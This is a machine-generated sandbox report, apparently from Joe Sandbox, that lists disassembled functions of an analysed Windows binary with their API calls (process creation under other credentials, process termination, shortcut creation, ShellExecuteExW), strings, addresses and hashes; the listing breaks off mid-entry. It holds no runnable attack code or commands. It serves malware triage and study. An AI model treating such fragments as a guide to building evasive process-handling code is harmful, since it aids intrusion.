String ID:
API String ID: 642888154-0
Opcode ID: 86dfc3a9f048f28103e52bc5f761d60c893500c2aa3d7479888f29acc4d1225d
Instruction ID: b5df0a03294b401045642491790f906d8dd0bb6087e85fa53fd03824aa79e96f
Opcode Fuzzy Hash: 86dfc3a9f048f28103e52bc5f761d60c893500c2aa3d7479888f29acc4d1225d
Instruction Fuzzy Hash: 8841A430641644AFDB25CF54D8ADBE47BE2BB06725F189269E61C4F363CB31AD81CB90

Function 00644C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00644C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00644CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00644CEA
_wcslen.LIBCMT ref: 00644D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00644D10
_wcsstr.LIBVCRUNTIME ref: 00644D1A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 16079ca4513ba716226a899865f7b806fafa19c96b4eb2b0710484e7d01135f6
Instruction ID: b80eb3aafadcbfcf03c6b8412069aa9cf7709381ea0e721d15054c5334353a08
Opcode Fuzzy Hash: 16079ca4513ba716226a899865f7b806fafa19c96b4eb2b0710484e7d01135f6
Instruction Fuzzy Hash: 702107316042057BEB155B25AC8AF7B7F9EDF45760F10402DF909CA292DE61CC4182A0

Function 0065581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 005E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005E3A97,?,?,005E2E7F,?,?,?,00000000), ref: 005E3AC2

_wcslen.LIBCMT ref: 0065587B
CoInitialize.OLE32(00000000), ref: 00655995
CoCreateInstance.OLE32(0067FCF8,00000000,00000001,0067FB68,?), ref: 006559AE
CoUninitialize.OLE32 ref: 006559CC

Strings

.lnk, xrefs: 00655876, 006558C1, 00655985

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 91105919f7030ba41a13bb736c1beb03d14e9a127ba982b1d058628693411aac
Instruction ID: ec0d718fc2aadf68faaa88152400d2a7f623ac0197d414521152471c9e1589e7
Opcode Fuzzy Hash: 91105919f7030ba41a13bb736c1beb03d14e9a127ba982b1d058628693411aac
Instruction Fuzzy Hash: A1D176706087019FC718DF15C4A896ABBE2FF89711F14885DF88A9B361D731EC49CB92

Function 0064175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00640FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00640FCA
Part of subcall function 00640FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00640FD6
Part of subcall function 00640FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00640FE5
Part of subcall function 00640FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00640FEC
Part of subcall function 00640FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00641002

GetLengthSid.ADVAPI32(?,00000000,00641335), ref: 006417AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 006417BA
HeapAlloc.KERNEL32(00000000), ref: 006417C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 006417DA
GetProcessHeap.KERNEL32(00000000,00000000,00641335), ref: 006417EE
HeapFree.KERNEL32(00000000), ref: 006417F5

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: b92dd594ae9a1ba438d59ccf8978514a63098afaadc9c7d0125b0dab4e16ce26
Instruction ID: 6d1557352882a7c55aa4eac6401eae07793e12cde921912a475a2e8ba9cfb5ee
Opcode Fuzzy Hash: b92dd594ae9a1ba438d59ccf8978514a63098afaadc9c7d0125b0dab4e16ce26
Instruction Fuzzy Hash: 54118E31510205FFDB149FA4CC49BEE7BBAEB46365F10402CF4459B210D736AA84DB60

Function 006414CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 006414FF
OpenProcessToken.ADVAPI32(00000000), ref: 00641506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00641515
CloseHandle.KERNEL32(00000004), ref: 00641520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0064154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 00641563

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: ce0f748aa17c5162214b7731fbe1e81ba403a243dc79d36e3f659417d09c89ba
Instruction ID: 073bbe8ffa600ed861c8fcc3e60ef7205cd431dbb748e6818f9a455b339d6f00
Opcode Fuzzy Hash: ce0f748aa17c5162214b7731fbe1e81ba403a243dc79d36e3f659417d09c89ba
Instruction Fuzzy Hash: E511597250020DABDF15CFA8DD49FDE7BAAEF49714F044018FA09A6160D3728EA0DB60

Function 00603382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00603379,00602FE5), ref: 00603390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0060339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 006033B7
SetLastError.KERNEL32(00000000,?,00603379,00602FE5), ref: 00603409

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bec3bbd0f55bb3a83f30e9ba5733780ad4596cf7289210ff27672d9a62a1502a
Instruction ID: 68dfd684eff790dbc6e21702e8e10295fdad74c8efef50d32fae7f8e8037992b
Opcode Fuzzy Hash: bec3bbd0f55bb3a83f30e9ba5733780ad4596cf7289210ff27672d9a62a1502a
Instruction Fuzzy Hash: 3801F532298331AEE72C37746CD55972A9FDB16377320022DF510843F0FF125D415548

Function 00612D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00615686,00623CD6,?,00000000,?,00615B6A,?,?,?,?,?,0060E6D1,?,006A8A48), ref: 00612D78
_free.LIBCMT ref: 00612DAB
_free.LIBCMT ref: 00612DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0060E6D1,?,006A8A48,00000010,005E4F4A,?,?,00000000,00623CD6), ref: 00612DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0060E6D1,?,006A8A48,00000010,005E4F4A,?,?,00000000,00623CD6), ref: 00612DEC
_abort.LIBCMT ref: 00612DF2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 73452fec22f46267444d75ca23bb3f18d4f2fe0e33fe57763f93ff0af18b75e3
Instruction ID: f09a94efcfee299e4b74e6409647a928a6eade209901af1a47e39601798ad558
Opcode Fuzzy Hash: 73452fec22f46267444d75ca23bb3f18d4f2fe0e33fe57763f93ff0af18b75e3
Instruction Fuzzy Hash: A3F0F9319445026BC3523339FC26ADA15576FC2771B2C041CF828922D1EE2098E25274

Function 00678A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 005F9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 005F9693
Part of subcall function 005F9639: SelectObject.GDI32(?,00000000), ref: 005F96A2
Part of subcall function 005F9639: BeginPath.GDI32(?), ref: 005F96B9
Part of subcall function 005F9639: SelectObject.GDI32(?,00000000), ref: 005F96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00678A4E
LineTo.GDI32(?,00000003,00000000), ref: 00678A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00678A70
LineTo.GDI32(?,00000000,00000003), ref: 00678A80
EndPath.GDI32(?), ref: 00678A90
StrokePath.GDI32(?), ref: 00678AA0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 40e0860e276c67e2b432be79836ab3471060756b2af09c8bb1d6c20ac886332c
Instruction ID: c3d41408ef9c61e0b6bb485857e801f2b3366acda50600ad4e3d38975531f2cb
Opcode Fuzzy Hash: 40e0860e276c67e2b432be79836ab3471060756b2af09c8bb1d6c20ac886332c
Instruction Fuzzy Hash: FE111E7604014DFFDF119F90DC48EEA7F6EEB04364F008015BA199A161C7729D95DFA0

Function 006451FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00645218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00645229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00645230
ReleaseDC.USER32(00000000,00000000), ref: 00645238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0064524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00645261

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 65b7490b4bf11569c943a8aec30a3761928b166fb9474e6bafcb88c62a0e472f
Instruction ID: 8168c1e76518e9f5c5b318da42f28a5d5b97b38b3b9841c3c9327116563c7a54
Opcode Fuzzy Hash: 65b7490b4bf11569c943a8aec30a3761928b166fb9474e6bafcb88c62a0e472f
Instruction Fuzzy Hash: B501A275E00708BBEB149BB59C49E4EBFB9EF48361F04506AFA09A7381D6709D00CFA0

Function 005E1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 005E1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 005E1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 005E1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 005E1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 005E1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 005E1C22

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 8c5ef14dd3ad453c68653a0c0c629c806d37f365bc62128f54c2ddefb00ea911
Instruction ID: 8bcda459a15a34c4db11642b136d98df87d1125697708787293d334a8f91ebd8
Opcode Fuzzy Hash: 8c5ef14dd3ad453c68653a0c0c629c806d37f365bc62128f54c2ddefb00ea911
Instruction Fuzzy Hash: 76016CB09027597DE3008F5A8C85B52FFA8FF19754F00411F915C47941C7F5A864CBE5

Function 0064EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 0064EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0064EB46
GetWindowThreadProcessId.USER32(?,?), ref: 0064EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0064EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0064EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0064EB75

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: e95ac2ad8d38da6b900e7aa230840575a943912a7d803214683f146e463c8cc1
Instruction ID: 8e23a32c91740f0e2e26a970e772d628c0afc5d2ce44c42f05dbe81b63c44386
Opcode Fuzzy Hash: e95ac2ad8d38da6b900e7aa230840575a943912a7d803214683f146e463c8cc1
Instruction Fuzzy Hash: BAF0BE72200518BBE7245B629C0EEEF3E7EEFCAB21F00116CF605E1090E7A01A41CAB4

Function 00637439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00637452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00637469
GetWindowDC.USER32(?), ref: 00637475
GetPixel.GDI32(00000000,?,?), ref: 00637484
ReleaseDC.USER32(?,00000000), ref: 00637496
GetSysColor.USER32(00000005), ref: 006374B0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: a745e8be3e1bf9de6a917050d0a32b2c632af1757e02b7b979bf4dbabafc7246
Instruction ID: ea259b54c4edd496e94d8023ef1513a2baf71d44a602dc15ff0795fa2c62ee03
Opcode Fuzzy Hash: a745e8be3e1bf9de6a917050d0a32b2c632af1757e02b7b979bf4dbabafc7246
Instruction Fuzzy Hash: 27014B31404215EFEB655F64DC08BEE7BB6FB04321F511168F91AA21A1CB312E91AB50

Function 00641874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 0064187F
UnloadUserProfile.USERENV(?,?), ref: 0064188B
CloseHandle.KERNEL32(?), ref: 00641894
CloseHandle.KERNEL32(?), ref: 0064189C
GetProcessHeap.KERNEL32(00000000,?), ref: 006418A5
HeapFree.KERNEL32(00000000), ref: 006418AC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 021370f23acf5c78d61bbb5391a77438ccb24c804f588735bcc3b630098a174f
Instruction ID: 1b107adb3ef701f6b4df5c588d9ebc2012b8dc8d37851bfa53dbd96ce2b3272e
Opcode Fuzzy Hash: 021370f23acf5c78d61bbb5391a77438ccb24c804f588735bcc3b630098a174f
Instruction Fuzzy Hash: 89E0E536004901BBEB055FA1ED0C90ABF3AFF49B32B509228F22991470DB3294A0EF50

Function 005EBBE0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 005EBEB3

Strings

D%kD%k, xrefs: 005EBCA5
D%k, xrefs: 005EBCA2
D%k, xrefs: 005EBE9A
D%k, xrefs: 005EBDED, 005EBD91, 005EBD1B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%k$D%k$D%k$D%kD%k
API String ID: 1385522511-693824438
Opcode ID: db7a82c6acf3fb02eb3dd8aa4a988b0b5f6bfcbac2cfa1765031bf0071255cbf
Instruction ID: e97be456f5d0575418522edb26570c639eefb532ae80976f3cd44d6a292842de
Opcode Fuzzy Hash: db7a82c6acf3fb02eb3dd8aa4a988b0b5f6bfcbac2cfa1765031bf0071255cbf
Instruction Fuzzy Hash: 23917CB5A0424ACFDB18CF5AC4A06AABBF2FF58311F24456DD985AB350D731ED81CB90

Function 00667B7E Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00600242: EnterCriticalSection.KERNEL32(006B070C,006B1884,?,?,005F198B,006B2518,?,?,?,005E12F9,00000000), ref: 0060024D
Part of subcall function 00600242: LeaveCriticalSection.KERNEL32(006B070C,?,005F198B,006B2518,?,?,?,005E12F9,00000000), ref: 0060028A

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 006000A3: __onexit.LIBCMT ref: 006000A9

__Init_thread_footer.LIBCMT ref: 00667BFB

Part of subcall function 006001F8: EnterCriticalSection.KERNEL32(006B070C,?,?,005F8747,006B2514), ref: 00600202
Part of subcall function 006001F8: LeaveCriticalSection.KERNEL32(006B070C,?,005F8747,006B2514), ref: 00600235

Strings

+Tc, xrefs: 00667E2E
5, xrefs: 00667C78
Variable must be of type 'Object'., xrefs: 00667C3A
G, xrefs: 00667C7F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: +Tc$5$G$Variable must be of type 'Object'.
API String ID: 535116098-2992906774
Opcode ID: cbd62587b829b0c762c273cb578e56e78b7bc344d1fa1764a087a5b57f2d8999
Instruction ID: 21e806d76d0a9790b531c67ea2385e7d979ccb726af6e0f0c996e74e72ef60f2
Opcode Fuzzy Hash: cbd62587b829b0c762c273cb578e56e78b7bc344d1fa1764a087a5b57f2d8999
Instruction Fuzzy Hash: 73915A70A04209AFCB14EF54D8959EDBBB2FF89308F10845DF8469B392DB71AE85CB51

Function 0064C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E7620: _wcslen.LIBCMT ref: 005E7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0064C6EE
_wcslen.LIBCMT ref: 0064C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0064C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0064C7CA

Strings

0, xrefs: 0064C6AF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 04ca4d79f8ef29cd3d9aef68592eae3e8d957b38e9ea920b6fd9c8552b4468c9
Instruction ID: 483b352497fc27106fe9b26d4b5223d7bc8a101af7a470709955889082004a53
Opcode Fuzzy Hash: 04ca4d79f8ef29cd3d9aef68592eae3e8d957b38e9ea920b6fd9c8552b4468c9
Instruction Fuzzy Hash: DF5104716063019BD7949F28C884BAB7BEAAF85334F040A2DF995D73A1DB70D844CB52

Function 0066AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0066AEA3

Part of subcall function 005E7620: _wcslen.LIBCMT ref: 005E7625

GetProcessId.KERNEL32(00000000), ref: 0066AF38
CloseHandle.KERNEL32(00000000), ref: 0066AF67

Strings

<, xrefs: 0066AE6B
@, xrefs: 0066AE72

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

